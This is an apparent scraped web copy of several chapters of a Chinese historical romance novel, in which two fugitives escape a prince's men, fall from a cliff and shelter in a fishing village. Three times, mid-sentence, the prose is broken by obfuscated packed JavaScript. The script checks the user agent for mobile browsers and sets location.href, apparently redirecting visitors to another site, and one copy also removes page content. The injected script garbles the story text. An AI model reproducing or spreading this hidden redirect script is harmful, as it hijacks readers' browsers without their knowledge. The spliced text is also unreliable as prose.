徐寂宁猛地一拉南有音,两人都匍匐在灌木丛里,不敢喘息,提灯人路过,没有注意到他们,但那一抹橘黄色的光晃得南有音与徐寂宁都瞧到了彼此眼里的恐惧,瓢泼似得大雨落在两人身上,淋得浑身从外到里都是冷冰冰的。 良久,等到搜查者脚步与手上的灯光彻底消失不见后,南有音方才与徐寂宁从灌木丛下的烂泥水里爬起来。 “往西走,”徐寂宁根据客栈门口朝向辨别了方向,指着远方一片黑暗说,“翻过那座山,出了末山县,就不在永安王的封地范畴了。” 南有音顺着徐寂宁手指地方向看去,雨幕中黑黢黢一片,她有点怀疑:“你确定?” 徐寂宁道:“我读了好几天的岭南地理志,应该不至于记错。” “那我们快走!”南有音拉起徐寂宁在漆黑一片的夜色雨幕中狂奔。 他们的脚步声踩在布满雨水的街道上劈啪作响,溅起的泥水凉飕飕的黏在裤腿上,狂风呼啸,电闪雷鸣,借着强劲的电光,两人勉强看清脚下和未来的路,他们一直跑,也不晓得身后有没有追兵,一直钻进西边那座山中茂密的树林,才停下脚步喘息。 才松开了紧紧拉在一起的手。 两只手一松开,两人都顿感手心凉飕飕的,空空荡荡的,坠落的雨点马上侵占了这一点点空间,落在手心,滑落指尖。 山路本就不好走,下了雨的山路更加难走,两人摸索着深一脚浅一脚的,泥泞的道路几乎要把两人的鞋后跟粘下来。 南有音用力把左脚从一摊烂泥里拔出来,但右脚又接着陷了进去,于是她又费力地拨出右脚,然后左脚又陷到泥里,如此反复几次之后,她笑出声了。 “你又在笑什么?”徐寂宁在她身后气喘吁吁问。 “我觉得咱两个现在这个样子很傻。”南有音咯咯笑道,“淋着雨,在烂泥里像□□一样走路。” 南有音的笑声与飘落树叶的雨点声混在一起,格外的和谐,好像她和徐寂宁不是在逃命,而是在野外玩水一样。 徐寂宁忍不住嘟囔道:“都这样了你还能笑出来。” “我只是一想就觉得很好笑,”南有音回头道,“只可惜现在太黑了,我什么也看不见,不然我看到你在烂泥里挣扎的模样肯定会笑得更厉害。” 南有音又道:“不过徐寂宁,你现在总算有所长进了。” 徐寂宁问道:“什么?” 南有音说:“我带你去梅花园哪会儿,你压根就不踩泥巴路,现在倒是能淌着泥水走路了。” 徐寂宁沉默了一会儿,没说什么。 他也不清楚他是不是有所改变。 从京城到岭南,向来十指不沾阳春水的他跟着南有音学会了烧水洗衣;一场火烧尽了他的盘缠细软打断了他的挥金如土,他被迫粗茶淡饭短褐穿结,勉强体会了一把平头百姓的滋味;码头上炎炎烈日更是他二十余年来头一次干这些粗活重活,他的肩头手心任麻绳磋磨,他头一次体会到这种又痛又痒的感觉,忽然怜悯敬佩起那些不知疲倦的劳工,尽管他们不通诗书,更不识字。 雨渐渐停了,没有了从眉毛流进眼睛里的雨水,南有音行进速度大大加快,而徐寂宁的速度却一降再降。 南有音走了一段,停下听不到身后徐寂宁的声音,就又返回头去,在黑暗中摸索着拍拍徐寂宁,确定他还在,然后问他怎么走得这么慢。 徐寂宁支支吾吾,于是她就瞪着他。 明明在黑暗中看不到南有音的眼睛,但徐寂宁还是明显感受到了那道灼人的视线。 他对这道灼热视线的审视有些畏惧,总是会退缩。 他实话实说了:“我腿疼。” “疼得厉害吗?” 他点点头,然后意识到黑暗中南有音看不到,便轻轻“嗯”了一声。 南有音又问:“太累了吗?” “嗯……”徐寂宁确实很累,白天码头劳动的疲乏还未散去,接着夜雨狂奔上山,他自小京城娇生惯养,上次陪南有音去梅花园是他二十多年里最累的一天,等今天过完,可能二十多年来最累的一天就变成今天了。 南有音提议道:“那在路边歇一会儿吧。” 她扶着徐寂宁到路边地一块石头上坐下,发觉出徐寂宁明显一瘸一拐的。 她皱眉问到:“你的腿到底怎么了?” “没怎——嘶!” 南有音的手在徐寂宁的右腿摸来摸去,摸到膝盖处时徐寂宁痛到抽气。 “你这是怎么搞得?”她摸出徐寂宁的右腿小腿肿了。 徐寂宁没吭声,她又开始盯着他了。 “咳……”徐寂宁被南有音的视线笼罩着无处可逃,“那天着火,踹开你的房门时有点伤到了,然后……” “然后,”南有音替他补充完整,“你的腿一直没好,但你还是去码头做工,还有刚刚从窗户跳下来,是不是又伤的更厉害了?” “……是。” 南有音有些不乐意了:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445798|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么一直不告诉我你——” 她话只说了半句,徐寂宁打断了她,耳语道:“左边。” 她往左看去,远远看到了几盏橘红色的灯笼,借着灯笼的光看到了几个影影绰绰的人影,很像是刚刚在客栈追寻他们的人。 “有音,”徐寂宁低声道,“你快跑吧。” 南有音不解道:“那你呢?” 徐寂宁却问到:“倘若真如薛大人信中说得那样,永安王有意谋反,那他抓住皇帝派来的密探会做什么?” “杀了,或者折磨?”南有音有些着急,“你这个时候不跟我一块走,又说这个做什么?” “有音,你看我腿这个样子怎么跑,”徐寂宁道,“你是无辜的,皇帝的旨意只说派我来末山,没有派你来,我若被抓了处死是尽忠职守,食君之禄忠君之事,勉强算死得其所,但你若是被抓住被拷问却纯粹是无辜受累。” “所以呀,”徐寂宁微微一叹,“你快跑吧,我知道你脚程快得很,能逃走的。” “你……”南有音好像一下子被噎住了,说不出话了。 山野间的夜风吹过树下僵持的两人,拂过林间树梢,盘旋而上,散开了笼罩着月亮的云,清亮皎洁的月光洋洋洒洒射入树林枝叶的缝隙,忽然便不是那么黑漆漆一片。 月光照在南有音与徐寂宁的身上,在光线下两人看起来无比的狼狈,沾满了泥点子的衣服湿漉漉地贴在身上,吸饱了水的头发一缕一缕的,乱七八糟地拍在额头脸颊。 月光明亮皎洁,但南有音的一双大眼睛更是明亮,她瞪着徐寂宁,好像很生气。 她转过身去,徐寂宁以为她要走了,但她却蹲下了,平静道:“上来。” “什,什么?” 她怒气冲冲地回头:“这也看不懂吗,上来,我背着你走!” “可是——” “别可是!” 最终徐寂宁又在南有音的怒目而视下败下阵来,他有些扭捏地趴在了南有音的背上。 南有音搂住徐寂宁的两根腿,颤颤巍巍站起来。 徐寂宁的心也颤了几下:“有音,别勉强……” “闭嘴!”南有音站直之后,咬咬牙迈开腿往前走了。 她一边走一边说道:“你看,我不光自己走快,我背着你也很快。” 她还不老实的捏了徐寂宁左腿一把,掂量他腿肚子上还有几两肉,说道:“之前总嫌你挑食,现在倒要感谢你这也不吃那也不吃,从京城到这瘦了不少,现在我背着你也省劲了。” 南有音一直说话,徐寂宁却一句也没有回应,她察觉到背上人的沉默,问道:“你怎么啦?什么也不说。” 半晌,她听到耳畔传来很小又颤抖着的声音:“有音,对不起。” 她一愣,转而又笑道:“你对不起我什么呢?是不是后悔没有早告诉我你腿受伤的事。” “……我不想显得很像是你的累赘,”徐寂宁声音很闷,“这一路上,总是你照顾我。” “嘻嘻,”南有音轻轻笑了两声,“可是你别忘了我们是朋友呀,朋友之间就是这样啊,为朋友两肋插刀,在所不辞!” “有音……”徐寂宁很轻很轻地叹了一口气。 夏天的衣服本就单薄,被雨淋透后又贴在身上,南有音背着他,他紧紧靠在南有音背上,透过湿冷的衣服布料,他非常清晰地感觉到了南有音的心跳,一下又一下。 他们走在万籁俱寂的夜色里,月光洒在他们的发梢眉间,他听到自己的心跳呼应着南有音的心跳,像是一片寂静中不断呼应的回音。 39. 渔村 在一片漆黑中,徐寂宁听到有人在说话。 是在说话吧?他有些困惑,因为他一句也没听懂,他向来听不懂口音太重的话。 他只记得南有音背着他摔下山崖了,然后…… 他在陌生的声音中听到了一个他熟悉的声音——南有音的声音。 “他什么时候才能醒过来啊?已经两天了。”南有音的声音就在他的脸上方回响。 而后他听到一个年轻男人的声音,男人用有些蹩脚的官话回答说:“他的身体已经没什么问题了,只是太过劳累了。” “唉——” 听起来像是南有音很无奈的叹了口气。 徐寂宁又开始感到有几分不自在了,因为他感受到有人在盯着他,毋庸置疑,一定是南有音。 他猛地睁开眼睛,正正对上了南有音的大眼睛,她距离他太近了,他都能看到她眼睛里倒映的自己了。 南有音正趴在床边看徐寂宁,徐寂宁突然睁开眼吓了她一跳,骤然向后仰去。 但她没有摔在地面上,而是被一双有力的臂膀接住了。 “南姑娘小心。”一个深肤色高个子的男子扶稳了她,是刚刚那个官话很蹩脚的人。 “多谢阮大哥。”南有音匆匆告谢,拂开那人的两臂,重新扑到徐寂宁床边。 她非常开心地喊道:“徐寂宁!你终于醒了!” “呃……”徐寂宁迟钝地打量四周,他处于一个非常简陋的房屋内,他从来没见过这样简陋的屋子,天花板好像是茅草,墙似乎是黄泥糊的,墙上钉着生锈的铁定,挂着几条破烂的绿色渔网和斗笠,空气中还弥漫着淡淡的鱼腥味。 “这是什么情况?”他一片茫然地坐了起来,他的记忆还停留在那个雨夜,他和南有音一块往西边的山上逃。 他记得他腿疼,他让南有音先跑,但南有音背起他一块走。 月光照在他们的头顶,树林从他们身边掠过,他听到南有音又笑了。 他不解,问道:“你又笑什么?” 南有音道:“我这样背着你,让我想起我出嫁那天玉振背着我了。” 本朝风俗女子出嫁时要由长兄背上迎亲的花轿,南有音没有兄长,亲的没有,表的堂的都没有,最后只好叫南玉振背她上花轿。 徐寂宁问道:“这有什么好笑的?” 南有音又笑了两声才回答道:“我只是突然觉得你柔柔弱弱的,还蛮像大小姐新娘子之类的。” “什么啊!”徐寂宁脸有点红,他不光窘迫,还有些惭愧,他不确定自己能不能背得起南有音。 雨后山路泥泞,南有音也不是神人,没走多远徐寂宁就听到她喘息声越来越重,脚步也越来越沉。 “有音,把我放下吧。”他轻轻叹了一口气,他们两个行进的速度越来越慢,照这样下去知他们两个迟早会被那些人抓住。 “想都别想。”南有音喘着气咬牙道,“都说了好朋友两肋插刀,我肯定不会扔下你的。” 徐寂宁沉默了一阵,抬手抚了抚南有音乱成一片的头发,然后轻声劝道:“有音,放下我吧,你自己回京城去,我若死了,咱们的婚约解起来就没那么难了,到时候你是可以改嫁——” 南有音没搭腔,而是努力加快了脚下的步伐,徐寂宁还想再说些什么,只感到忽然一轻,接着他和南有音一块骤然往下坠落,他最后抬头看了一眼月亮的方向,于刹那中意识到在一片乌漆嘛黑中,他和南有音走错了方向,偏离了山路,滚下山崖了。 在意识尚存的最后时刻,他感觉到南有音紧紧抱着他,他们两个撞断了无数树枝,压过无数灌木,最后停在了一片开阔的沙地,沙地的尽头是一片海,在月光下波光闪闪。 他听到南有音沙哑地声音在他耳边响起,她问他还活着吗,他确定了南有音在他身边并且还活着,至少还能开口讲话,他心头陡然一松,也不晓得自己有没有回应她,眼前一黑,陷入了昏迷。 再醒过来,他就在这破破烂烂的房子里了。 “我们从山上摔到了海滩上,然后阮大哥早晨打鱼的时候发现了咱们,”南有音把那个高个子的青年推到徐寂宁床边,“是他把咱们带到村里救治的,你的腿也是他找人医好的。” “你终于醒啦,南姑娘一直很担心你,”高个子青年冲着徐寂宁灿烂地笑了一下,露出两排洁白的牙齿,而后又用不怎么熟练的官话自我介绍道,“我叫阮鸣鸥,是这儿的渔户,论年纪比你和南姑娘都大。” 徐寂宁立刻说道:“多谢阮大哥救命之恩!” “不必客气,”阮鸣鸥立刻摆摆手,又道,“你刚醒过来饿了吧?我去给你找点吃的。” 然后他哼着小曲儿,一掀门帘,消失在屋外。 简陋的小屋里只剩下南有音和他。 南有音看起来收拾过,身上穿着干净的衣服,头发也束起来了,脸也洗的干干净净,只是有些伤痕。 徐寂宁轻声问道:“有音,你还好吗?” “还好,还好,”南有音摸了摸脸颊的伤痕,“村里懂医术的阮阿婆看了,说不会留疤。” 徐寂宁摇摇头,他拉起南有音的手,卷起她的袖子,入眼是一条布满血痕和淤青的胳膊。 南有音倒是不怎么在乎,她拍了一把垂下眼帘有些消沉的徐寂宁说道:“你的胳膊也变成这个鬼样子了,毕竟咱们是从悬崖上滚下来了,还好都是些皮肉伤,没有伤筋动骨的,你那条腿也还算幸运,没有伤到骨头,阮阿婆说你估计再瘸个两三天就能痊愈了。” “不过你终于醒了,”南有音凑近说道,“我问了阮大哥,他说这儿是末山西南角,这个村子就叫什么末南村。” 她一抿嘴,继续道:“不过我从山上摔下来之后全然分不清方位了,搞不清咱们到底在哪儿了,也不清楚有没有跑出永安王的地盘儿,一直等着你快点醒了好出点主意。” 徐寂宁陷入了沉思,他在地理志上读过末南村,末山县中心在南侧沿海,周围又有许多村庄,末南村就是其西南角上的渔村,南面临海,东面和北面都是山,西面不远就是铜城县的区域。末山县隶属眉洲府,铜城县隶属象崖府,末南村正处于两府交界处,虽然地域上前往铜城县一马平川更为便捷,实际行政上却划归隔山相望的末山。 若那天夜里他和南有音没有被夜色搞得分不清方向,一路向西,如今应该是逃到铜城了,但那夜路线往南偏离了不少,故而两人仍在末山,仍在永安王的手心里。 徐寂宁翻身下床,却发现自己的右腿一阵刺痛,他走起路来仍是一瘸一拐,显然带着南有音继续西逃不太现实。 他紧张地问道:“有音,我昏过去的这两天,你呆在这儿有什么奇怪的地方吗?这儿仍是永安王的地盘,有人追查到这儿吗?” 南有音压低声音道:“我没敢说咱们是京城来的,只说是外地经商,路上遇到劫匪,流落到此,还有我没说咱们是朋友,毕竟说孤男寡女的是朋友肯定没人信,我说咱们是义兄义妹。” “阮大哥说这块区域是铜城县与末山县的边界,这里归 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阮鸣鸥家是一个非常庞大的家庭,阮鸣鸥在家排行第五,上有两个姐姐已经嫁人不在家中,两个哥哥已经成婚生子,目前阮鸣鸥已经有了五个侄女侄子,他下面还有一个妹妹两个弟弟,今日除了阮鸣鸥二哥,大家都在,这么多人围在一起,无比的吵闹。 饭桌人多,他们也大多不拘小节,大大咧咧地坐着,筷子和手几乎并用,一边粗野地咀嚼一边粗犷地笑,阮鸣鸥的幼弟和侄子吃着吃,更是举着螃蟹钳子打闹起来。 南有音很好地融入了其中,她与阮鸣鸥还有阮鸣鸥的小妹三个人一起笑得前仰后俯,唯有徐寂宁有些拘谨,他没有经历过这种场面,徐府的饭桌从来是安安静静斯斯文文,他扶着碗拿着筷子,转眼变成了这个屋檐下最乖巧的人。 晚饭的最后,大家吃得差不多了,小孩子笑闹,大人闲谈,徐寂宁忽在一片嘈杂中听到了“朝廷”两个字眼。 是阮鸣鸥的大哥在同父亲说话,他们的模样看起来比实际的年龄大不少,海风与波浪使得他们肤色很深,皱纹很多,长年累月的劳作也使得他们的臂膀结实有力,布满肌肉,手指也遍布老茧,粗糙到让人怀疑可以手接白刃。 徐寂宁竭力分辨他们难懂的方言,听到阮家大哥在与父亲说起朝廷派到岭南度田的官儿已经走到铜城了。 阮父脸色阴沉了很多,他缓缓点起手里的烟,摇摇头道:“但愿王爷能护住咱们末山的渔户,别被朝廷的狗官收走了。” 徐寂宁竖着耳朵还想再听,但阮父起身到门口抽烟了,一片晦暗中只看得到烟头出时亮时暗。 屋内的众人仍在打闹,南有音笑着推了一把呆住的徐寂宁:“阮大哥说带咱们去个好地方,你快起来,咱们一块儿去!” 40. 鸣鸥 南有音觉得阮鸣鸥是一个不错的青年,至少相较而言,他比徐寂宁身强力壮,他也比徐寂宁活泼俏皮。 她第一次见到阮鸣鸥是在掉下山崖那个的清晨。 那夜她与徐寂宁从山崖滚落,她问徐寂宁还活这么,徐寂宁没吭声,她借着月光扒开糊在徐寂宁脸上的乱发,见他阖着眼,惨白一张脸,心下一凉。 海风吹在她被雨水浸的湿漉漉的衣服,她浑身发冷,蜷缩在一动不动的徐寂宁身边,无助又惶恐,害怕周遭看不清的黑暗里藏着恶鬼猛兽,便仰头去看夜色里最明亮的天上月亮,四肢的疼痛与劳累让她再也支撑不住,在漫天星辰的注视下陷入了昏睡。 她再次醒来时已是清晨,她听到有人在说话,她听不太懂那人的口音,但听得出来那人很焦急。 她睁开眼,海面薄雾朦胧。 那人查看完徐寂宁又查看她,见她醒了又惊又喜:“姑娘,你怎么样?” 那人见她仍是一脸的茫然,于是换了一口不怎么标准的官话,又问了她一遍。 “我……”南有音扶着昏沉的脑袋坐了起来。 刹那间朝阳穿透薄雾,万丈金辉,她在一片绚烂中头一次看清了阮鸣鸥,他在金澄澄的光芒中冲着她笑,似是因为见她醒过来而高兴,他的眼睛很黑,眼底两条明显的卧蚕,加上笑时咧开的嘴里露出两排洁白整齐的牙齿,莫名与灿烂朝阳很适配。 于是南有音也下意识提了提发干发白的嘴角,微微笑了一下。 她狼狈不堪,满脸泥污,但阮鸣鸥还是一眼看到了她仿佛宝石一样闪闪发光的大眼睛。 南有音回过神来,立刻慌乱地去转身去查看身边的徐寂宁。 “他还活着,应该不会有什么事,”阮鸣鸥立刻说道,“我弟弟去村里叫人了。” “你……”南有音想要开口说话,但嗓音嘶哑地可怕。 阮鸣鸥微笑着摇摇头,食指轻轻点了点她的嘴唇:“你身上伤成这样,先不要开口说话啦。” 然后他又说道:“我叫阮鸣鸥,就住在那边那个村子里。” 他指了指自己身后的方向,然后又皱眉分辨了一下晨曦中跑过来的两个人影:“跑过来的人是我弟弟和大哥。” 阮家大哥轻轻松松背起徐寂宁,大步往村子里走去,南有音也扶着阮鸣鸥慢慢站起来了,她挪动两条腿,只觉得两腿软绵绵的毫无气力,头也发晕,眼前白花花一片,眼见要一个趔趄摔在沙地上了。 但没有发生她预想到的手心被沙子剐蹭的疼痛,她只感到身体一轻,而后听到阮鸣鸥的声音在她头顶响起:“姑娘不要再勉强了。” 他把她拦腰抱起,大步追上走在前面的大哥。 南有音隔着身上满是泥污的湿衣裳感受到了阮鸣鸥火热的胸膛,宽广而有力。 阮鸣鸥一家是渔民,热情又善良,朴实到南有音差点不好意思撒谎,但最后处于谨慎,她还是说她与徐寂宁只是经商遇难的商人。 等到阮父和阮家大哥出海打鱼,阮家六妹又把留在家的阮鸣鸥和两个弟弟赶出去,帮着南有音洗干净了沾满泥浆草籽的头发,又给她换了一身自己未穿过的新衣服。 梳洗过后,南有音对着阮家六妹递给自己的那面非常模糊地镜子细细观察自己,可惜那面镜子磨损的厉害,只能看清一个模糊的轮廓,她也不晓得阮家姑娘是如何日日对着这样一扇镜子梳洗的。 南有音换好衣服,整理好发髻,阮家六妹就打开门把两个吵闹不停的弟弟还有阮鸣鸥放了进来,阮鸣鸥打着哈欠伸着懒腰跨进门槛,一见到南有音,身上的动作都停了,半只脚跨进门槛,半只脚还停在门外,还是阮家六妹捅了他一下才重新有反应。 他说:“南姑娘,你真漂亮!” 声音清脆敞亮,直白热情,像是夏日的太阳。 南有音两颊微红,得意一笑:“当然。” 徐寂宁昏迷地这一段时间里,南有音从阮鸣鸥口中得知了村子的名字方位,了解了阮鸣鸥的大家庭,与阮家人也是越来越熟。 南有音见过江河湖泊,唯独没怎么见过海,阮鸣鸥和阮家六妹便带着她去沙滩挖猫眼螺,让她坐上他们的小船,她仰头看着被高高抛起的渔网,看着碧蓝天空上白色海鸥鸣叫振翅,又在收网时惊讶于满网鱼虾,她学着阮家六妹的样子挑些小鱼喂给海鸟,然后他们在滩涂支起架子烤了两条大鱼。 他们挽着裤腿在海里闹,嘻嘻哈哈笑个不停,有那么一些瞬间,南有音非常希望时间能够永远停在这个惬意快乐的渔村。 一直到夕阳落下,阮六妹在沙滩上捡贝壳,南有音和阮鸣鸥则并排坐着闲聊。 南有音说她过去从来没有下海玩过,阮鸣鸥说他还没走出过这个渔村,他问南有音外面是什么样子的。 南有音想了想,给他讲起了自己的北方故乡,她说起一碧万顷的农田,说起松柏参天的深山,说起满山红枫,说起皑皑白雪。 阮鸣鸥说他一直想多攒些钱,未来他不想留在这个渔村,他想出去看看。 “我也是这样想的,”南有音说,“所以我一直想学会骑马,这样我就可以骑着马,全天下跑了。” 阮鸣鸥说:“我可以买一艘小船,沿着河走,等看够了河边风景,就到岸上去,然后我就会看到一个特别漂亮的姑娘,骑着一匹枣红色的马,向我打招呼,我就走上前去,学着那些读书人的样子说‘南姑娘别来无恙呀’。” 南有音说:“然后我就会问你喜欢吃辣还是吃甜?请你去我最喜欢的菜馆吃饭,咱们一块喝酒,酒要喝潺山酿,那是我家乡的烈酒,你只要尝一口,就能体会到北荒雪原的风雪扑面。” 他们笑着两个看着火红的太阳一点一点沉入海中,畅谈着外边的世界,在夕阳的红光彻底消失时不约而同的陷入了沉默。 他们静静看了一会儿暗下来有些发黑的海洋,然后阮鸣鸥问道:“南姑娘,你最想去的地方是哪儿?” 南有音反问:“你呢?” 阮鸣鸥笑道:“要不咱们一块说,看看会不会是一个地方。” 他们对视一眼,然后异口同声:“西域。” 然后看到了彼此眼中惊讶欣喜的亮光,又异口同声的问道:“为什么?” 然后两个人忍不住笑,阮鸣鸥说他听说那里有沙子做成的海洋,还有一种名叫骆驼的船,南有音说她听说那里的商城里汇聚着五湖四海的人,在那里能听到整个天下的故事。 阮家六妹远远的朝他们招了招手,说天黑了,该回去吃饭了。< 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徐寂宁很稀奇,他从来没到过村落,这座村落的建筑非常地随意,茅草屋歪七扭八的分散在各个方向,跟京城秩序森严的房屋大相径庭,若不是惦记着刚刚晚饭结束时听到的话,这会子他的注意力就全被这个靠山面海歪七扭八的村子吸引了。 南有音和阮家六妹被墙角的一只三花猫吸引了,她们两个跑上前逗猫,剩下徐寂宁跟阮鸣鸥在路边等着。 徐寂宁清了清嗓子,问道:“鸣鸥兄,晚饭时听到大哥与阮伯父说起什么朝廷度田,小弟知道这一度田便要乱上一阵子,这一乱物价就变,小弟是经商的,得时时留意,敢问鸣鸥兄这里可有什么消息?” 阮鸣鸥道:“也不是什么要紧消息,只是说朝廷派来清点土地人口的官员到了铜城而已。” “这消息可准?” 阮鸣鸥倚在一颗树上,随意地抱着胳膊,说道:“我二哥在王府门下当差,他递出来的消息应该没错。” 徐寂宁感到背上猛地起了一层冷汗:“阮二哥在王府当差,永安王府?” 阮鸣鸥有些奇怪:“不然呢?岭南地界除了永安王还能是谁,二哥心思灵敏,驾船技术好,几年前就被选去王府做事了。” 徐寂宁忙笑道:“我只是惊叹阮二哥才能超群,竟能在王府里当差,敢问阮二哥是做什么的?” 他怕阮鸣鸥起疑,又补充道:“毕竟小弟做商贸的,来回行走的,多认识个人多点方便嘛。” 阮鸣鸥指了指东南方向说:“白天天气好的话能看到一座岛,大家都说岛上藏着永安王的宝藏,我二哥就负责把宝藏从王府运到岛上的。” 他又说道:“这几日母亲和嫂嫂都为二哥缝了新夏衣,你也知道我们这个村子陆路不便,母亲和嫂嫂就让我或者大哥出海时捎着新衣服去那个岛上交给二哥,今天大哥应该就是去岛上见了二哥一次,才带回的消息。” 南有音和阮家六妹拨弄完小猫,又跑回两人身边,她发现徐寂宁神色有异,却仍笑眯眯地问道:“你们在说些什么呢?” 徐寂宁答道:“只是说起朝廷派来度田的官员到了铜城之类的。” “说起这个,”南有音道,“也不知道是不是我的错觉,鸣鸥哥,刚刚在饭桌上听大哥和伯父的语气好像不怎么欢迎朝廷度田,按理说这不应该是好事吗?” 41. 流萤 “咦,”阮鸣鸥有些奇怪道,“你们兄妹两个在岭南经商,缴纳商税之类的,应该知道我们当地人不欢迎朝廷度田和清查人口的缘故吧。”。 南有音立刻道:“我们两个都是北方人,头一次来岭南,不清楚啦。” 阮鸣鸥一摊手,好像有些无奈:“我也不太懂这些,反正听大哥的意思好像是朝廷征得赋税不如永安王收的合理,所以我们宁愿挂在王府底下当奴婢,也不愿被朝廷编成普通百姓。” 徐寂宁温声道:“自前朝战胜燕国,南北统一,数年没有战乱,赋税也是十中取二三,朝廷的赋税怎么会比王府还多呢?” “嘶,这该怎么说呢……”阮鸣鸥皱着眉毛,好像在努力动脑,他想了好一会儿才说,“朝廷赋税十中抽三指的是谷物,不然就要折算银两,岭南沿海多是渔户,基本都是要折钱纳税,如果富裕的地方还好,凭着便捷交通只靠打鱼卖鱼也能攒够钱,但你看我们末南村,处处落后,道路也不通,平日捕了鱼也卖不出,唯有等冬天凿冰捕鱼,鱼肉不易腐烂,赶五六天的路上铜城买了换些钱,这点钱还要维持来年一家的吃喝衣行,所以朝廷的赋税实在是……” 徐寂宁点点头,又问:“那你们如何向王府上贡?” 阮鸣鸥答道:“永安王怜悯我们这些海边无依的渔户,我们交不起银两,每年只要我们交足够数量的腌鱼就行了。” 徐寂宁有些惊讶:“就这样?” “是啊,”阮鸣鸥又道,“我听说王府底下的佃农交粮,商户交银,养蚕的交丝,大概就是做什么就交什么,好像是统一交到王府后,王府又有什么部门负责变卖折算成银两。” 阮鸣鸥接着又幽幽一叹:“但都听闻朝廷的巡抚已经到了铜城,但愿王爷能用些手段,保住我们这些穷苦子民。” 徐寂宁犹豫一下,还是问道:“天下都是当今圣上的天下,你们为什么不希望皇上垂怜,却希望永安王庇护呢?” “天高皇帝远嘛。”阮鸣鸥说完这句有点大逆不道的话后吐了吐舌头,笑道,“从这里到京城远着呢,皇帝要操心天下,怎么能光顾着岭南的百姓呢,永安王坐镇岭南,自然更了解我们这些百姓。” 南有音察觉阮鸣鸥一家似乎都很尊崇永安王,好奇道:“那永安王是什么样的人呢?” “他是什么样的人?我可从来没有见过他呢,也不晓得他是老是少,”阮鸣鸥想了一下道,“不过我猜王爷应该是个很好的人吧,还有前些年海啸或者瘟疫,也都是王爷赈灾救济。” 他摸了摸身边阮家六妹的脑袋,笑道:“前年眉洲府闹瘟疫,若不是王府还记得有我们末南这个小村子,派了医生送了药草来,我现在就见不到六妹和母亲了,五年前还是六年前铜城受海啸波及,官府的官老爷逃了,最后还是王爷派人施粥救灾,安抚流民。” 阮鸣鸥又说了一些永安王的事迹,诸如制止渔霸抢夺民女、赡养孤寡老人、接济无钱为母看病的穷秀才等等,说得徐寂宁一时愣住了,自从收到薛停的信后,他一直是将永安王视作犯上的逆贼,加上之前的失火与这几日被追杀,他早已将永安王当做一个十恶不赦的恶人了,骤然听到这样一席话,一时都藏不住脸上惊讶的神色。 阮鸣鸥不禁问道:“徐弟怎么这样吃惊?” 南有音匆忙解释道:“过去我看话本子里都是写着王府的王爷仗势欺人,从没见过永安王这样有贤德的,一时有些吃惊。” 阮鸣鸥点头称是:“我爹也说永安王是少有的好王爷,我爹说他用人不拘出身,所以我二哥作为渔户的孩子也能去当差。” 他有些向往道:“不知道日后我能不能有机会去永安王府上当差。” “我听二哥说永安王府的俸银不少,如果能多一个人挣钱的话,爹娘也就不用日夜忙碌,六妹的嫁妆也能很快攒好,还有,”他望着南有音很开心地笑了,“这样我就能很快有一艘自己的小船,然后顺着江河,一路往内地瞧瞧去了。” 南有音在惊惧之中也勉强冲他笑了一下,她之前并不知道阮家还有人在永安王府当差,她忍不住担忧起自己与徐寂宁的处境。 他们四个继续在夜色下行走,走入后山的树林,本就晦暗的光线更是骤然暗了几度。 徐寂宁在黑暗中轻轻拽了拽南有音的袖子,提醒她警惕。 南有音则直接问道:“鸣鸥哥,你这是要带我们去哪儿啊?” “别着急,往前走就是了。”阮鸣鸥在前面加快了步伐,然后俶尔消失在一丛灌木后。 南有音与徐寂宁都停下了脚步,四下一片寂静,只能听到草间的虫鸣声与远处的海浪声,两人对视一眼吗,都害怕极了,毕竟刚刚听说了阮家二哥在王府当差的事。 但阮家六妹拍了拍南有音的肩,朝前走去,拨开那从灌木,露出一个能容一人通过的缺口,示意南有音与徐寂宁快跟上。 两人钻出灌木,是林地中间一片开阔的草地,阮鸣鸥坐在草地中间,冲他们招手。 “看来咱们来的太早了,还不到时间。”阮鸣鸥观察了一下月亮后说道。 南有音谨慎地坐到他身边:“什么还不到时间?” 阮鸣鸥笑眯眯道:“到时候你就知道啦。” 他仰面躺在草丛上,两条胳膊枕在头下,惬意又闲适,他注视着天空,忽然问道:“南姑娘,你家乡的星星同岭南的星星一样吗?” 南有音也仰起脸来注视着满天繁星,回答道:“应该一样吧,不论在哪儿,看到的都是同一片天空吧。” “那太好了,”阮鸣鸥笑道,“那日后无论南姑娘走到哪儿,不管是北地还是西域,我仰起头来时,总能与南姑娘看着一样的星星。” “你怎么不说看同一轮月亮呢?”南有音也躺在阮鸣鸥身旁的草地上,注视着点缀着繁星的暗蓝天空,视线集中在最中间那轮不够圆的月亮上,笑着说道,“星星这么多,我怎么知道你看的是哪一颗呢,但是月亮只有一轮。” “月亮啊……”阮鸣鸥很轻地笑了一声,“我二哥说只有有情人才能看着同一轮月亮,南姑娘的月亮好像不能停在我这里,所以我只看看月亮旁边的星星就好了。” 阮鸣鸥就在南有音的身侧,但他的声音却在南有音的耳中飘忽起来,远时在耳畔,近时在心端,让她的心跳无端有几分凌乱。 阮鸣鸥又道:“南姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 